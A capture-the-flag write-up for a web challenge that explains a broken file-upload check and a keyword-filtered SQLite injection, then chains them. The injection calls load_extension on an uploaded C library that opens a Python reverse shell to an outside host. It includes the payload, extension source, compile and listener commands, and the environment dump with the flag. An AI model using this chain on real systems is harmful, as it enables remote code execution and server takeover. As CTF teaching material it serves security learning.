mate-blog-revenge

webbjörnctf2024sql

Discovery

We are given a small web application where we can change some user information and upload files.

Broken file upload

Looking at the code that validates some properties about the file we want to upload, we can see that due to or statement in the allowed_file method, the extension is not actually checked against the list of allowed extensions as long as there is a dot present in the filename:

def allowed_file(filename):
    return '.' in filename or filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

SQL Injection

Looking at the /settings endpoint, we can find an sql-injection vulnerability that the author tried to mitigate by banning specific words and symbols:

BANNED_SQL_WORDS = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", 
                    "AND", "AS", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", 
                    "BY", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", 
                    "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", 
                    "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", 
                    "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", 
                    "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", 
                    "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "IN", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", 
                    "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", 
                    "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", 
                    "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", 
                    "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", 
                    "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", 
                    "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION"]
BANNED_SYMBOLS = ["*", "|", '"', "\\", "%"]

@app.route('/settings', methods=['GET', 'POST'])
@login_required
def settings():
    # [...]
    if request.method == 'POST':
        user_id = current_user.id
        is_admin = request.form.get('admin') if request.form.get('admin') != None else 0
        can_has_flags = request.form.get('can_has_flags') if  request.form.get('can_has_flags') != None else 0
        first_ctf = request.form.get('first_ctf') if  request.form.get('first_ctf') != None else 1
        number_of_mates_drunk = request.form.get('number_of_mates_drunk') if  request.form.get('number_of_mates_drunk') != None else 1
        last_ctf = request.form.get('last_ctf') if  request.form.get('last_ctf') != None else "NULL"

        for inp in [is_admin, can_has_flags, first_ctf, number_of_mates_drunk]:
            try:
                int(inp)
            except: 
                flash('Invalid input.', "danger")
                return redirect(url_for('settings'))

        last_ctf_words = re.split("\b", last_ctf) 

        for word in last_ctf_words:
            if word.upper() in BANNED_SQL_WORDS:
                print(word, file=sys.stderr)
                flash('Disallowed word.', "danger")
                return redirect(url_for('settings'))

        if "FLAG" in last_ctf.upper():
            flash("Don't touch the Flag table!", "danger")
            return redirect(url_for('settings'))

        for banned_symbol in BANNED_SYMBOLS:
            if banned_symbol in last_ctf:
                flash('Disallowed symbol. ' + banned_symbol, "danger")
                return redirect(url_for('settings'))

        update_settings(user_id, is_admin, can_has_flags, first_ctf, number_of_mates_drunk, last_ctf)

As we can see in the BANNED_SYMBOLS, an injection is still possible since ' is not banned. However, we cannot read any data from any other tables without triggering a block due to a banned word. Looking for options to still be able abuse this injection point, I started looking at builtin sqlite functions since its not forbidden to call them. That is when I discovered the load_extension() function and the fact that extension loading was enabled by default in the given application!

Solution

Since we can upload arbitrary files and have a limited sql injection, we can call load_extension('path') like this:

test', last_ctf = load_extension('/app/uploads/exploit') --

The load extension will then execute custom code that I compiled and uploaded via the arbitrary file upload. That the code gets executed upon loading via load_extension, it needs to conform to the sqlite extension format and contain a sqlite3_extension_init function. This initialization function then starts a reverse shell that connects back to a host of my choosing:

#include "sqlite3ext.h"
SQLITE_EXTENSION_INIT1
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int sqlite3_extension_init(
  sqlite3 *db,
  char **pzErrMsg,
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);
  system("python -c 'a=__import__;s=a(\"socket\").socket;o=a(\"os\").dup2;p=a(\"pty\").spawn;c=s();c.connect((\"norelect.ch\",4444));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p(\"/bin/sh\")'");
  return rc;
}

To compile the extension, just run:

gcc -g -fPIC -shared exploit.c -o exploit.so

We also need to run a netcat listener to catch the reverse shell:

nc -lvp 4444

As soon as we load the custom sqlite extension via the sql injection, we get a reverse shell where we can run the env command to get the flag:

HOSTNAME=f540ae908f34
HOME=/root
FLASK_RUN_FROM_CLI=true
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
WERKZEUG_SERVER_FD=4
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.9.20
PWD=/app
FLAG=flagbot{r3v3ng3_1s_sw33t_bu7_37_t0ny_15_5w3373r}